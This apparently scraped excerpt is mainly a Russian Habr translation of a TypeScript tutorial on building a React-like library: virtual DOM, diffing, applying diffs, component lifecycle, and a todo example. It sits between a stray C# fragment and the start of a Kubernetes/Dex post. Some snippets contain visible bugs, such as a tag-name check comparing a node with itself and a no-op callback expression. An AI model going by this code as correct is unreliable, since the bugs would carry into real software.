private T GetFromHeaderAndDecode(IHeaderDictionary headers) { return (T)Activator.CreateInstance(typeof(T), new object[] { "ok" }); }
}
``` | https://habr.com/ru/post/492820/ | null | ru | null |
# Создание собственного React с нуля
Демистификация React путем создания собственных компонентов, включая виртуальный DOM, стейтфул компоненты и хуки жизненного цикла
---------------------------------------------------------------------------------------------------------------------------------
В последнее время видны масштабные изменения в способах разработки веб-приложений. Если раньше интерфейс создавался на сервере, а на стороне клиента выполнялись лишь незначительные сценарии, то в наши дни стандартом является использование какой-либо из различных библиотек реактивного рендеринга для создания сложных стейтфул клиентских приложений.
Хотя многие разработчики успешно применяют такие библиотеки как React или Vue, понимание их точной внутренней работы не слишком широко изучено. В этой статье я расскажу о создании собственной библиотеки реактивного рендеринга, и разъясню, что происходит под капотом.
Но прежде чем мы начнем, небольшое предупреждение. Хотя наша библиотека вполне рабочая (см. примеры приложений в конце), это, прежде всего, демонстрационный инструмент, а не легковесная альтернатива React. Весь проект можно найти на [GitHub](https://github.com/WimJongeneel/ts-reactive-rendering).
### 1. Архитектура библиотеки реактивного рендеринга
Главное в любой библиотеке реактивного рендеринга - это компоненты. Работа компонента заключается в управлении так называемым "реактивным пространством". Компонент содержит переменную ("state") и отвечает за ее рендеринг в DOM. Здесь уже встречаются некоторые понятия, знакомые вам по написанию react-компонентов : `this.state`, `this.setState` и `render`.
Архитектура базового реактивного компонента. Каждая интеракция создает новое state (состояние), формирующее новую VDOM, обновляющую HTML приложения
Критическим моментом в реактивном мышлении является то, что мы не определяем модификации DOM для каждой вещи, которая может произойти с состоянием нашего приложения (как это можно увидеть в кодовой базе jQuery). Вместо этого есть одна функция рендеринга, и она используется каждый раз, когда происходит какое-то изменение состояния. Хотя идея "всего одной функции рендеринга" великолепна (меньше кода, отсутствие состояния в DOM и т.д.), возникает другая проблема: если мы будем заменять всю структуру DOM при каждом обновлении, это вызовет множество неудобств. Помимо потери производительности, это приведет к утрате фокусировки пользователем, странным скачкам при прокрутке и т.д.
Чтобы предотвратить эти проблемы, библиотеки реактивного рендеринга используют виртуальную DOM с алгоритмом сравнения (diffing-алгоритм) для генерации стратегии обновления, которая затем может быть применена к реальной DOM. Внутри этой виртуальной DOM мы можем ререндерить все, что захотим, это просто объект JavaScript с причудливым названием, а не реальная DOM. И с помощью умного diffing-алгоритма можно убедиться, что в реальную DOM внесено минимальное количество изменений, что делает такую фактическую модификацию DOM даже более эффективной, чем любое применение функции обновления DOM, написанной вручную.
Начнем с имплементации такой виртуальной DOM. Она будет намного проще той, что вы найдете в исходном коде React, но будет делать то же самое достаточно хорошо и, что важно, продемонстрирует внутреннюю работу виртуальной DOM. После этого мы рассмотрим создание стейтфул-компонентов с состоянием и пропсами, и то, как концепция таких компонентов обыгрывается в виртуальной DOM. В заключение я покажу вам библиотеку в действии с помощью реальных примеров приложений.
### 2. Виртуальная DOM
По своей сути виртуальная DOM состоит из двух структур данных: дерева синтаксиса HTML и diff-дерева. Дерево HTML представляет состояние HTML в JavaScript-объекте . Это возвращаемый тип метода рендеринга компонентов и то, с чем будет взаимодействовать разработчик, использующий библиотеку. Diff-дерево описывает, какие шаги необходимо предпринять для обновления элемента HTML из состояния одного синтаксического дерева в другое.
Связь между VDOM-деревьями, diffing-алгоритмом и утилитой сравнения (diff) #### 2.1 Дерево синтаксиса HTML
Эта структура данных будет хранить состояние нашей виртуальной DOM. Пока мы будем поддерживать только обычные элементы и текстовые узлы. Позже эта структура расширится, для того чтобы использовать стейтфул-компоненты внутри дерева. Определение типа приведено ниже. Свойство key будет использоваться при сравнении дочерних элементов, те, кто знаком с React, уже поняли это.
```
export type VDOMAttributes = { [_: string]: string | number | boolean | Function }
export interface VDOMElement {
kind: 'element'
tagname: string
childeren?: VDomNode[]
props?: VDOMAttributes
key: string | number
}
export interface VDOMText {
kind: 'text',
value: string
key: string | number
}
export type VDomNode =
| VDOMText
| VDOMElement
```
*Определение типа VDOM.*
Наша библиотека не будет поддерживать JSX, и поэтому нам нужны некоторые функции-хелперы для создания элементов VDOM удобным способом. Они будут использоваться в методах рендеринга наших компонентов и являются аналогом вызовов React.createElement, с которыми вы, возможно, сталкивались в своих пакетах JavaScript.
```
export const createElement = (tagname: string, props: VDOMAttributes & { key: string }, ...childeren: VDomNode[]): VDOMElement => {
const key = props.key
delete props.key
return ({ kind: 'element',
tagname, props,
childeren, key
})
}
export const createText = (value: string | number | boolean, key: string = '') : VDOMText => ({
key, kind: 'text', value: value.toString()
})
```
*Функции для создания элементов VDOM.*
#### 2.2 Структура данных diff
Начнем с механизма сравнения (diffing), который работает с одним элементом, а затем расширим его за счет поддержки дочерних. Сначала создадим тип со всеми операциями. Операция - это мутация DOM, которая будет произведена с одним элементом HTML. Основными операциями являются update и replace. Также есть skip, указывающая на отказ от изменений.
```
type AttributesUpdater = {
set: VDOMAttributes
remove: string[]
}
interface UpdateOperation {
kind: 'update',
attributes: AttributesUpdater,
childeren: ChildUpdater[]
}
interface ReplaceOperation {
kind: 'replace',
newNode: VDomNode
}
interface SkipOperation {
kind: 'skip'
}
export type VDomNodeUpdater =
| UpdateOperation
| ReplaceOperation
| SkipOperation
```
*Типы для операций, применяемых к одному элементу.*
Операция update фактически представляет собой diff-дерево и состоит из небольших шагов, которые необходимо предпринять для обработки результата большинства вызовов setState. Также здесь содержится ссылка на обновления для дочерних элементов. Операции для дочерних элементов немного отличаются, потому что они будут применяться к коллекции элементов. Помимо тех операций, которые мы уже определили, они также включают insert и remove:
```
interface RemoveOperation {
kind: 'remove'
}
interface InsertOperation {
kind: 'insert',
node: VDomNode
}
export type ChildUpdater =
| UpdateOperation
| ReplaceOperation
| RemoveOperation
| SkipOperation
| InsertOperation
```
*Типы для операций, которые могут быть применены к дочерним элементам*.
### 3. Создание diff'ов
Теперь нам удалось построить виртуальную DOM и diff, далее создадим то, что делает VDOM стоящим усилий: diffing-алгоритм . Это позволит нашим компонентам эффективно переходить из одного состояния в другое, это важно, когда речь о плавной работе реактивного приложения. Медленный или даже прерывистый diffing-алгоритм полностью уничтожает пользовательский опыт любого приложения, независимо от того, насколько тщательно проработаны его компоненты.
Мы разложим данный фрагмент на две части: сначала diffing отдельного элемента, потом diffing коллекции (дочерних) элементов, так же, как это делалось для определений типов.
#### 3.1 Создание diff'а элемента
При diffing'е VDOM мы имеем дело с двумя различными вещами, которые могут обновляться: текстовые узлы и HTML-элементы. Начнем с текстовых узлов, т.к. они довольно просты. Если оба элемента являются текстовыми узлами и их значение не изменилось, мы возвращаем операцию skip. В любом другом случае когда есть текстовый узел, нам придется заменить старый элемент новым:
```
export const createDiff = (oldNode: VDomNode, newNode: VDomNode): VDomNodeUpdater => {
// skip over text nodes with the same text
if (oldNode.kind == 'text' && newNode.kind == 'text' && oldNode.value == newNode.value) {
return skip()
}
// If a textnode is updated we need to replace it completly
if (oldNode.kind == 'text' || newNode.kind == 'text') {
return replace(newNode)
}
// rest of the diffing
}
```
*Diffing текстовых узлов.*
После выполнения проверок мы убедились, что оба узла являются обычными элементами. Но остался один случай, где необходимо полностью заменить узел: когда tagname старого и нового элемента отличаются. Это следующее,что мы добавим в нашу функцию:
```
export const createDiff = (oldNode: VDomNode, newNode: VDomNode): VDomNodeUpdater => {
// diff text nodes
// If the tagname of a node is changed we have to replace it completly
if (oldNode.tagname != oldNode.tagname) {
return replace(newNode)
}
// diff elements
}
```
*Обновленное* `tagname` *означает, что весь компонент должен быть смонтирован заново.*
Два имеющихся у нас элемента имеют одинаковый тип и могут быть обновлены из одного состояния в другое без создания нового элемента. Для этого создадим: атрибуты, которые были удалены; атрибуты, которые должны быть установлены; и обновления для дочерних элементов:
```
export const createDiff = (oldNode: VDomNode, newNode: VDomNode): VDomNodeUpdater => {
// diff text nodes and replaced elements
// get the updated and replaced attributes
const attUpdater: AttributesUpdater = {
remove: Object.keys(oldNode.props || {})
.filter(att => Object.keys(newNode).indexOf(att) == -1),
set: Object.keys(newNode.props || {})
.filter(att => oldNode.props[att] != newNode.props[att])
.reduce((upd, att) => ({ ...upd, [att]: newNode.props[att] }), {})
}
const childsUpdater: ChildUpdater[] = childsDiff((oldNode.childeren || []), (newNode.childeren || []))
return update(attUpdater, childsUpdater)
}
```
*Генерация всех данных для обновления.*
Мы завершили логику diffing'а для отдельных элементов. Как и в случае с деревом синтаксиса HTML, позже добавим поддержку diffing'а и монтирования компонентов. Переходим к логике diffing'а для дочерних элементов.
#### 3.2 Создание diff для дочерних элементов
Последней частью diffing-алгоритма является diffing для дочерних элементов. Это, самая сложная часть VDOM, потому что существует множество вариантов того, что может произойти с дочерними элементами. Можно вставить новый элемент в начало, в середину или в конец; удалить, обновить или пересортировать существующие элементы. Здесь в игру вступает key элемента: предполжим, что если ключи совпадают, то и элементы одинаковы (но могут быть изменены). С помощью ключей определим, что первый элемент в текущем дереве соответствует третьему в новом дереве, потому что добавилось два элемента впереди. Без ключей это практически невозможно узнать.
Пример с diff-операциями между двумя коллекциями элементов VDOMСделаем немного упрощенную имплементацию, не поддерживающую переупорядочивание ключей (в случае переупорядочивания она будет выполнять remove и insert дочерних элементов, которые находятся не по порядку). Это экономит много кода. Начнем функцию с создания двух стеков из оставшихся необработанными дочерних элементов для старого и нового дерева:
```
const childsDiff = (oldChilds: VDomNode[], newChilds: VDomNode[]): ChildUpdater[] => {
const remainingOldChilds: [string | number, VDomNode][] = oldChilds.map(c => [c.key, c])
const remainingNewChilds: [string | number, VDomNode][] = newChilds.map(c => [c.key, c])
const operations: ChildUpdater[] = []
return operations
}
```
*Базовая структура для функции childsDiff.*
В строке 6 добавим логику, которая обрабатывает все дочерние элементы и заполняет operations массив операциями для преобразования старого дерева в новое. Этот алгоритм будет сосредоточен на поиске элементов (= ключей), которые присутствуют как в старой, так и в новой VDOM. Для них будем генерировать обновления, а все остальные элементы будут удалены или вставлены. Ниже показана эта часть логики. Пока в стеках остаются обновленные дочерние элементы, мы продолжаем генерировать для них update операции.
```
const childsDiff = (oldChilds: VDomNode[], newChilds: VDomNode[]): ChildUpdater[] => {
const remainingOldChilds: [string | number, VDomNode][] = oldChilds.map(c => [c.key, c])
const remainingNewChilds: [string | number, VDomNode][] = newChilds.map(c => [c.key, c])
const operations: ChildUpdater[] = []
// find the first element that got updated
let [ nextUpdateKey ] = remainingOldChilds.find(k => remainingNewChilds.map(k => k[0]).indexOf(k[0]) != -1) || [null]
while(nextUpdateKey) {
// process other children here
// create the update
operations.push(createDiff(remainingOldChilds.shift()[1], remainingNewChilds.shift()[1]))
// find the next update
; [ nextUpdateKey ] = remainingOldChilds.find(k => remainingNewChilds.map(k => k[0]).indexOf(k[0]) != -1) || [null]
}
// process the remaining children here
return operations
}
```
При diffing'е дочерних элементов мы заботимся о генерации операций обновления для новых компонентов, чтобы предотвратить перемонтирование существующих.
В этой функции важно отметить, что `nextUpdatedKey` не обязательно должен быть первым из элементов как в `remainingOldChilds`, так и в `remainingNewChilds`. Перед ними в стеках могут быть элементы, которые были удалены или вставлены и потому не содержатся одновременно в обеих коллекциях. Сначала надо удалить все старые элементы и вставить новые, прежде чем мы сможем создать обновление.
```
// create stacks and the first update
while(nextUpdateKey) {
// first remove all old childs before the update
removeUntilkey(operations, remainingOldChilds, nextUpdateKey)
// then insert all new childs before the update
insertUntilKey(operations, remainingNewChilds, nextUpdateKey)
// generate update
}
```
```
const removeUntilkey = (operations: ChildUpdater[], elems: [string | number, VDomNode][], key: string | number) => {
while(elems[0] && elems[0][0] != key) {
operations.push(remove())
elems.shift()
}
}
const insertUntilKey = (operations: ChildUpdater[], elems: [string | number, VDomNode][], key: string | number) => {
while(elems[0] && elems[0][0] != key) {
operations.push(insert(elems.shift()[1]))
}
}
```
Старые элементы надо удалить, а новые - вставить, прежде чем добавлять операцию обновления к результату.
После обработки всех обновленных узлов все еще могут оставаться элементы. Это происходит, когда в нижней части дерева добавляются или удаляются дочерние элементы. Смотрите ниже:
```
while(nextUpdateKey) {
// generate updates here
}
// remove all remaing old childs after the last update
removeUntilkey(operations, remainingOldChilds, undefined)
// insert all remaing new childs after the last update
insertUntilKey(operations, remainingNewChilds, undefined)
return operations
}
```
*Обработаем оставшиеся операции* `remove` *и* `insert` *после завершения всех обновлений.*
Теперь есть полноценный diffing-алгоритм, способный генерировать ключевые diffs сложных деревьев и позволяющий получить приемлемый эффективный diff. Возможны оптимизации, каждая пара remove и insert выполняется с помощью одной replace. Можно поддерживать сортировку элементов по ключам, что важно для некоторых приложений.
Пример пересортированных ключей. B будет удален и вставлен. Если B стейтфул-компонент, то B возвращается в исходное состояние ### 4. Соединение виртуальной и реальной DOM
Теперь есть готовая виртуальная DOM, пора соединить ее с реальной. Для этого понадобятся две отдельные части: функция, которая берет VDOM и рендерит ее в DOM, и функция, которая принимает diff и применяет его к элементу в DOM.
Связь между diff, элементом HTML и функцией apply #### 4.1 Рендеринг виртуальной DOM
Чтобы начать использовать новый виртуальный DOM, - надо осуществить его рендеринг в реальный. Это будет рендеринг первой версии компонента. После этого функция applyDiff станет отвечать за соединение виртуальной и реальной DOM друг с другом. По сути, она сводится к вызову document.createElement для каждого элемента в дереве:
```
const renderElement = (rootNode: VDomNode): HTMLElement | Text => {
if (rootNode.kind == 'text') {
return document.createTextNode(rootNode.value)
}
const elem = document.createElement(rootNode.tagname)
for (const att in (rootNode.props || {})) {
(elem as any)[att] = rootNode.props[att]
}
(rootNode.childeren || []).forEach(child =>
elem.appendChild(renderElement(child))
)
return elem
}
```
*Преобразование VDOM в HTML-элемент*.
Мы присваиваем каждое свойство непосредственно элементу. Конечно, в React эта логика реализована не так. Правильной будет установка атрибутов с помощью setAttribute и использование синтетической системы для связи событий внутри DOM и VDOM. Здесь я сократил часть статьи, чтобы не увеличивать ее в размерах...
#### 4.2 Применение diff к элементу HTML
Другая половина рендеринга - это применение diff. Для этого функция берет HTMLElement и diff и применяет его к элементу. Здесь вы видите те же операции, которые мы определили ранее. Для краткости я опустил все валидации, которые позволяет TypeScript, единственное, что мы проверяем, это то, что мы присваиваем атрибуты действительному элементу, а не текстовому узлу.
```
export const applyUpdate = (elem: HTMLElement | Text, diff: VDomNodeUpdater): HTMLElement | Text => {
if (diff.kind == 'skip') return elem
if (diff.kind == 'replace') {
const newElem = renderElement(diff.newNode)
elem.replaceWith(newElem)
return newElem
}
if('wholeText' in elem) throw new Error('invalid update for Text node')
for (const att in diff.attributes.remove) {
elem.removeAttribute(att)
}
for (const att in diff.attributes.set) {
(elem as any)[att] = diff.attributes.set[att]
}
applyChildrenDiff(elem, diff.childeren)
return elem
}
```
*Применение diff между двумя элементами VDOM к элементу DOM.*
В `applyChildrenDiff` мы перебираем операции и применяем их к текущему дочернему элементу. Основная сложность здесь связана с offset, который используется для определения того, к какому элементу в DOM относится текущая операция. Важно помнить, что операций может быть гораздо больше, чем дочерних элементов.
```
const applyChildrenDiff = (elem: HTMLElement, operations: ChildUpdater[]) => {
let offset = 0
for (let i = 0; i < operations.length; i++) {
const childUpdater = operations[i]
if (childUpdater.kind == 'skip') continue
if (childUpdater.kind == 'insert') {
if (elem.childNodes[i + offset - 1]) elem.childNodes[i + offset - 1].after(renderElement(childUpdater.node))
else elem.appendChild(renderElement(childUpdater.node))
continue
}
const childElem = elem.childNodes[i + offset]
if (childUpdater.kind == 'remove') {
childElem.remove()
offset -= 1
continue
}
applyUpdate(childElem, childUpdater)
}
}
```
*Применение набора операций к дочерним элементам HTML-элемента.*
С помощью этой функции мы завершили создание VDOM и всего, что с ней связано. Следующим этапом нашего исследования будет добавление стейтфул-компонентов и объединение их в настоящее реактивное приложение.
### 5. Компоненты и реактивные области применения
Знакомые с React, знают что компоненты - это то, что содержит состояние. Хотя с точки зрения пользователей это действительно важная часть компонентов, в исходном коде реактивного фреймворка основная задача компонента - управлять реактивной областью. Что такое реактивная область? Это часть дерева VDOM, которая отвечает за свои собственные обновления. То есть компонент имеет ссылку на html-элемент в DOM, где он установлен, и создает diffs для этого элемента на основе состояния и пропсов. Даже если компонент принадлежит родителю, он все равно будет отвечать за свой собственный рендеринг и diffing.
Хуки жизненного цикла для наших компонентов#### 5.1 Создание класса компонента
Мы начнем с создания базового класса для всех компонентов. Этот класс будет хранить текущий пропс, состояние, корневой элемент и VDOM. Базовый набросок такого класса показан ниже. Многие атрибуты и методы знакомы по библиотекам типа React, например, props, state, setState, componentDidMount и render.
Существуют методы, которые выделены только для внутреннего использования. setProps будет вызываться во время обновления родителя, чтобы предоставить этому компоненту новые пропсы. Эта функция возвращает разницу между его VDOM и новой VDOM родителя. initProps вызывается во время процесса монтирования и возвращает начальную VDOM, которая будет рендериться в реальной DOM. После этого будет вызван notifyMounted, и компонент будет полностью смонтирован в DOM. Кроме того, у нас есть метод unmount, используемый при удалении компонента из DOM.
```
export abstract class Component {
protected props: P
protected state: S
private currentRootNode: VDomNode
private mountedElement: HTMLElement | Text
protected setState(updater: (s:S) => S) { }
// called when the mounted element recieves new props
public setProps(props: P): VDomNodeUpdater { }
// called when mounting the element to generate the first VDOM state
public initProps(props: P): VDomNode { }
// this gets called when the component is mounted in the real DOM
public notifyMounted(elem: HTMLElement | Text) { }
// this gets called when the component will be unmounted in the real DOM
public unmount() { }
// hooks
public componentDidMount() {}
public componentWillRecieveProps(props: P, state: S): S { return state }
public componentDidUpdate() { }
public componentWillUnmount() { }
// the render function each component has to implement
public abstract render(): VDomNode
}
```
*Набросок для класса Component.*
Еще вы видите пустые хук-методы, которые отдельные компоненты могут переопределять. Подключим их к внутренним компонентам нашей библиотеки по ходу работы.
#### 5.2 Монтаж компонентов
Первым шагом к использованию компонентов внутри функции рендеринга является расширение VDOM с помощью типа узла для компонентов. Это позволит нам использовать компонент внутри функции рендеринга другого компонента и, таким образом, создать настоящее дерево с множеством стейтфул-компонентов. Внутри функции разработчик будет указывать, какой компонент должен рендериться и с какими пропсами. Определение типа для такого узла показано ниже.
```
export interface VDOMComponent {
kind: 'component'
instance?: Component
props: object
component: { new(): Component }
key: string | number
}
export type VDomNode =
| VDOMText
| VDOMElement
| VDOMComponent
```
*Расширение для определения VDOM для компонентов.*
Свойство instance предназначено только для внутреннего использования. В нем будет храниться реальный экземпляр компонента, с состоянием и т.д. внутри. В функции diffing мы обязательно скопируем существующие инстансы компонентов из старого дерева в новое, чтобы они не потерялись между ними. Важно отметить, что функция рендеринга компонента не создаст никаких инстансов дочерних компонентов. Вместо этого она вернет узел со ссылкой на класс компонента и значением пропса. Создание компонента будет происходить "за кулисами".
```
export const createComponent = (component: { new(): Component }, props: P & { key: string }): VDOMComponent => {
const key = props.key
delete props.key
return ({
component, props, key, kind: 'component'
})
}
```
*Функция для построения узла компонента в рендер-функции* .
Первый сценарий использования компонента в VDOM - это начальный рендеринг. Такое происходит, когда компонент является корневым в приложении или присутствует при первом рендеринге его родителя. Позже мы рассмотрим, что происходит, если компонент заменяет существующий элемент в VDOM.
Когда дело доходит до "монтирования" компонента, необходимо рассмотреть еще два сабкейса: компонент уже инстанцирован или его еще нужно создать. Если компонент уже имеет инстанс, процесс довольно прост: мы вызываем функцию render для получения текущего представления состояния VDOM, создаем из него HTML-элемент и вызываем notifyMounted для компонента.
Все, что происходит во время монтажа компонента в функции render, разделено между обязанностями функции и класса компонента. Стрелки вниз - это вызовы из функции, стрелки вверх - возвраты из методовКогда компонент все же нужно создать, необходимо выполнить еще несколько шагов. Сначала создадим инстанс компонента с помощью ключевого слова new. Он будет назначен пропсу instance VDOM. Таким образом, он сохраняется для использования при следующем рендеринге, поэтому нам не придется заново создавать стейтфул-компоненты. После этого мы инициализируем пропс компонента. Это вернет первоначальную VDOM компонента, которую можно отрендерить в DOM. Наконец, вызываем `notifyMounted`. Дополнительный код, имплементирующий данную логику для функции `renderElement`, показан ниже.
```
const renderElement = (rootNode: VDomNode): HTMLElement | Text => {
// render text nodes
if(rootNode.kind == 'component') {
if(rootNode.instance) {
const elem = renderElement(rootNode.instance.render())
rootNode.instance.notifyMounted(elem as HTMLElement)
return elem
}
rootNode.instance = new rootNode.component()
const elem = renderElement( rootNode.instance.initProps(rootNode.props))
rootNode.instance.notifyMounted(elem as HTMLElement)
return elem
}
// render elements
}
```
*Монтаж компонента в функции рендеринга.*
Чтобы это действительно работало, мы также должны имплементировать различные методы в классе компонента. Первый метод - initProps. Он отвечает за инициализацию props и выполнение первого render. Он сохранит и вернет результирующее дерево VDOM вызывающей стороне. Затем вызывающий будет отвечать за размещение его в DOM.
*Инициализация пропсов в компоненте.*
Другой метод, который нам нужен для завершения процесса монтирования, - это `notifyMounted`. Это обратный вызов (`callback`), который будет вызван render (потенциально через `applyUpdate`) в тот момент, когда мы создадим HTML-элемент для исходного дерева VDOM. Этот метод также вызовет `componentDidMount`, хук, который компоненты могут имплементировать, чтобы сделать что-нибудь после того, как произойдет рендеринг в DOM. Для этого используется `setTimeout`, чтобы гарантировать, что хук будет вызван после того, как текущая функция завершит монтаж компонента, а не во время него.
```
export abstract class Component {
public notifyMounted(elem: HTMLElement) {
this.mountedElement = elem
setTimeout(() => this.componentDidMount())
}
public componentDidMount() {}
}
```
*Коллбэк для рендеринга и хук* `componentDidUpdate`*.*
#### 5.3 Обновление компонента
Теперь, когда можно встраивать компоненты в DOM, займемся их обновлением. Обновление происходит двумя способами: компонент может обновить свое `state` или получить новые props от своего родителя. В первом случае именно компонент отвечает за выполнение обновления в DOM, в последнем - он вернет `diff` своему родителю.
В обоих случаях процесс схож: мы рендерим компонент, создаем diff с этим новым деревом и сохраненным существующим, обновляем `currentRootNode` новым деревом VDOM и возвращаем diff. Реализация показана ниже. Метод `getUpdateDiff` будет использоваться как `setState` и `setProps` и выполнит тяжелую работу по управлению реактивной областью компонента. Именно здесь планируется вызов `componentDidUpdate` для выполнения, после того как обновление будет завершено.
```
export abstract class Component {
private getUpdateDiff() : VDomNodeUpdater {
const newRootNode = this.render()
const diff = createDiff(this.currentRootNode, newRootNode)
if(diff.kind == 'replace') elem => this.mountedElement = elem
this.currentRootNode = newRootNode
setTimeout(() => this.componentDidUpdate())
return diff
}
}
```
*Генерирование обновления между текущим состоянием компонента и предыдущим результатом метода рендеринга.*
Здесь видно `callback` для операций `replace`. Это необходимо для того, чтобы убедиться, что свойство `mountedElement` нашего компонента продолжает указывать на правильный HTML-элемент в случае замены корневого элемента. Для этого нам понадобится несколько дополнений к VDOM и рендерингу:
```
export const applyUpdate = (elem: HTMLElement | Text, diff: VDomNodeUpdater): HTMLElement | Text => {
if (diff.kind == 'skip') return elem
if (diff.kind == 'replace') {
const newElem = renderElement(diff.newNode)
elem.replaceWith(newElem)
if(diff.callback) diff.callback(newElem)
return newElem
}
// rest of the function
}
```
```
interface ReplaceOperation {
kind: 'replace',
newNode: VDomNode
callback?: (elem: HTMLElement | Text) => void
}
```
*Добавление обратных вызовов для операции* `replace` *и функции* `applyUpdate`.
#### 5.4 Обновление компонентов с помощью setState
Когда компонент обновляется с помощью `setState`, нам нужно: установить свойство state; получить diff с помощью `getUpdateDiff`; применить этот diff к `mountedElement`. Кроме того, я добавил if-оператор, чтобы при попытке обновить не смонтированный компонент выкидывалась ошибка. Или можно обновить состояние и вернуться, тогда новое состояние будет использовано во время первого рендеринга в `initProps`. Можно распознать это как предупреждение от React. Поскольку мы уже реализовали всю логику обновления компонентов, этот метод стал довольно коротким и простым:
```
export abstract class Component {
protected setState(updater: (s:S) => S) {
if(this.mountedElement == undefined) throw new Error("you are updating an unmounted component")
this.state = updater(this.state)
applyUpdate(this.mountedElement, this.getUpdateDiff())
}
}
```
*Метод* `setState` *для наших компонентов.*
#### 5.5 Обновление компонентов с помощью setProps
Другим способом обновления компонента является метод `setProps`. Он очень похож на `setState`. Его полное определение найдете ниже. Здесь мы также выкидываем ошибку, если компонент еще не смонтирован. Одно отличие от классических хуков жизненного цикла React в том, что мы позволяем `componentWillRecieveProps` возвращать новое состояние, которое будет использоваться до того, как мы заново отрендерим компонент с новыми пропсами.
```
export abstract class Component {
public setProps(props: P): VDomNodeUpdater {
if(this.mountedElement == null)
throw new Error("You are setting the props of an inmounted component")
this.state = this.componentWillRecieveProps(props, this.state)
this.props = props
return this.getUpdateDiff()
}
}
```
*Метод, который родитель будет использовать для обновления пропсов компонента.*
В отличие от `setState`, `setProps` вызывается в функции diffing, когда пропсы узла компонента изменились. Чтобы осуществить это на практике, добавим поддержку компонентов в diffing. В процессе работы с компонентом могут произойти 3 вещи: мы обновляем существующий компонент, демонтируем его или монтируем новый.
Обзор того, что происходит при обновлении компонента с дочерним. Родитель не делает diff VDOM дочернего компонента, но при этом несет ответственность за применение diff'ов, сгенерированных дочерним компонентом.Сценарий, который мы будем реализовывать в первую очередь, - это обновление существующего компонента. Первым шагом будет копирование существующего инстанса из `oldNode` в `newNode`. После этого мы проверяем, изменились ли props, если да, то устанавливаем props компонента. Полученный в результате diff и есть тот diff, который мы непосредственно возвращаем из нашей функции. В случае, если props не изменился, мы возвращаем операцию skip .
```
export const createDiff = (oldNode: VDomNode, newNode: VDomNode): VDomNodeUpdater => {
// diff text nodes
if(oldNode.kind == 'component' && newNode.kind == 'component' && oldNode.component == newNode.component && oldNode.instance) {
newNode.instance = oldNode.instance
if(isEqual(oldNode.props, newNode.props)) return skip()
return newNode.instance.setProps(newNode.props)
}
// diff elements
}
```
*Обновление props для существующего компонента внутри diffing-кода*.
Второй сценарий, который мы реализуем, - это замена любого узла компонентом. Это весьма похоже на уже рассмотренный нами монтаж, но только теперь он выполняется внутри функции diffing для генерации операции `replace`. Примечательно то, что мы используем `callback` операции `replace`, чтобы убедиться, что `notifyMounted` все еще вызывается внутри функции рендеринга.
```
export const createDiff = (oldNode: VDomNode, newNode: VDomNode): VDomNodeUpdater => {
// updating components
if(newNode.kind == 'component') {
newNode.instance = new newNode.component()
return {
kind: 'replace',
newNode: newNode.instance.initProps(newNode.props),
callback: e => newNode.instance.notifyMounted(e)
}
}
// diffing elements
}
```
*Монтаж компонента внутри diffing.*
#### 5.6 Демонтаж компонентов
Последний сценарий - это замена компонента на другой. Это приводит к "демонтажу" компонента. Должно произойти несколько вещей: мы вызываем `unmount` на компонент, компонент вызывает хук `componentWillUnmount`, компонент обнуляет свою ссылку на DOM и мы удаляем HTML-элемент из DOM.
```
const removeUntilkey = (operations: ChildUpdater[], elems: [string | number, VDomNode][], key: string | number) => {
while(elems[0] && elems[0][0] != key) {
if(elems[0][1].kind == 'component') {
elems[0][1].instance.unmount()
elems[0][1].instance = null
}
operations.push(remove())
elems.shift()
}
}
```
```
export const createDiff = (oldNode: VDomNode, newNode: VDomNode): VDomNodeUpdater => {
// update component props
if(oldNode.kind == 'component') {
oldNode.instance.unmount()
oldNode.instance = null
return replace(newNode)
}
// mount new components
}
```
*Обновление diffing-кода для демонтажа компонентов, которые будут удалены.*
Последний метод, который необходимо реализовать в нашем компоненте, - это unmount. Этот метод вызывает хук `componentWillUnmount`, на этот раз без `setTimeout`, потому что хук запускается до начала фактического демонтажа. Далее мы устанавливаем для `mountedElement` значение null. Это делается по двум причинам: любые обновления этого компонента теперь будут вызывать ошибку, и обеспечивается освобождение HTML-элемента для сборки мусора.
```
export abstract class Component {
public unmount() {
this.componentWillUnmount()
this.mountedElement = null
}
public componentWillUnmount() { }
}
```
*Демонтаж компонента.*
На этом код нашей библиотеки реактивного рендеринга завершен. Используя все имеющиеся у нас части, можно создавать настоящие современные одностраничные приложения.
### 6. Создание примера приложения
Я покажу пример приложения, созданного с помощью библиотеки из этой статьи. Как и в любом другом примере приложения, это, конечно, список задач (todo-list). Первый компонент этого приложения показывает вам стандартную форму контроллера. Второй компонент использует первый в своей функции рендеринга и рендерит список со всеми добавленными элементами.
```
interface NewItemFormState {
name: string
}
interface NewItemFormProps {
addItem: (name: string) => void
}
class NewItemForm extends Component {
state = { name: '' }
render() {
return createElement(
'form',
{ key: 'f',
onsubmit: (e: Event) => {
e.preventDefault()
this.props.addItem(this.state.name)
this.setState(() => ({ name: '' }))
}
},
createElement('label', { key: 'l-n', 'for': 'i-n' }, createText('New item')),
createElement('input',
{ key: 'i-n', id: 'i-n',
value: this.state.name,
oninput: (e: any) => this.setState(s => ({...s, name: e.target.value})) }
),
)
}
}
```
*Компонент управляемой формы с нашей библиотекой реактивного рендеринга.*
```
class ToDoComponent extends Component<{}, ToDoState> {
state: ToDoState = { items: [] }
toggleItem(index: number) {
this.setState(s => ({items: s.items.map((item, i) => {
if(index == i) return { ...item, done: !item.done }
return item
})}))
}
render() {
return createElement('div', { key: 'root'},
createComponent(NewItemForm, {
key: 'form',
addItem: n => this.setState(s => ({ items: s.items.concat([{name: n, done: false}])}))
}),
createElement('ul', { key: 'items' },
...this.state.items.map((item: ToDoItem, i) =>
createElement( 'li', { key: i.toString()},
createElement('button', {
key: 'btn',
onclick: () => this.toggleItem(i)
},
createText(item.done ? 'done' : '-')),
createText(item.name, 'label')
))
)
)
}
```
*Простое todo-приложение с нашей библиотекой реактивного рендеринга.*
За исключением отсутствующей поддержки JSX, этот код знаком тем, кто работал с React. Наша библиотека поддерживает большинство основных функций React и способна работать с небольшими приложениями.
### 7. Заключение
Надеюсь, вам удалось понять, как работает реактивный рендеринг под капотом. Полный исходный код можно найти в [этом репозитории](https://github.com/WimJongeneel/ts-reactive-rendering).
---
React-hooks появились в React с версии 16.8, сегодня они используются уже повсеместно. Приглашаем всех заинтересованных на интенсив, на котором разберемся, как работать с React-hooks, создадим компонент с использованием hooks, а также научимся делать кастомные hooks. Поработаем с react-testing-library и научимся тестировать компоненты и кастомные hooks. Регистрация [по ссылке.](https://otus.pw/T3n6/) | https://habr.com/ru/post/653861/ | null | ru | null |
# Аутентификация в Kubernetes с помощью GitHub OAuth и Dex
Представляю вашему вниманию туториал для генерации доступов к Kubernetes-кластеру с помощью Dex, dex-k8s-authenticator и GitHub.
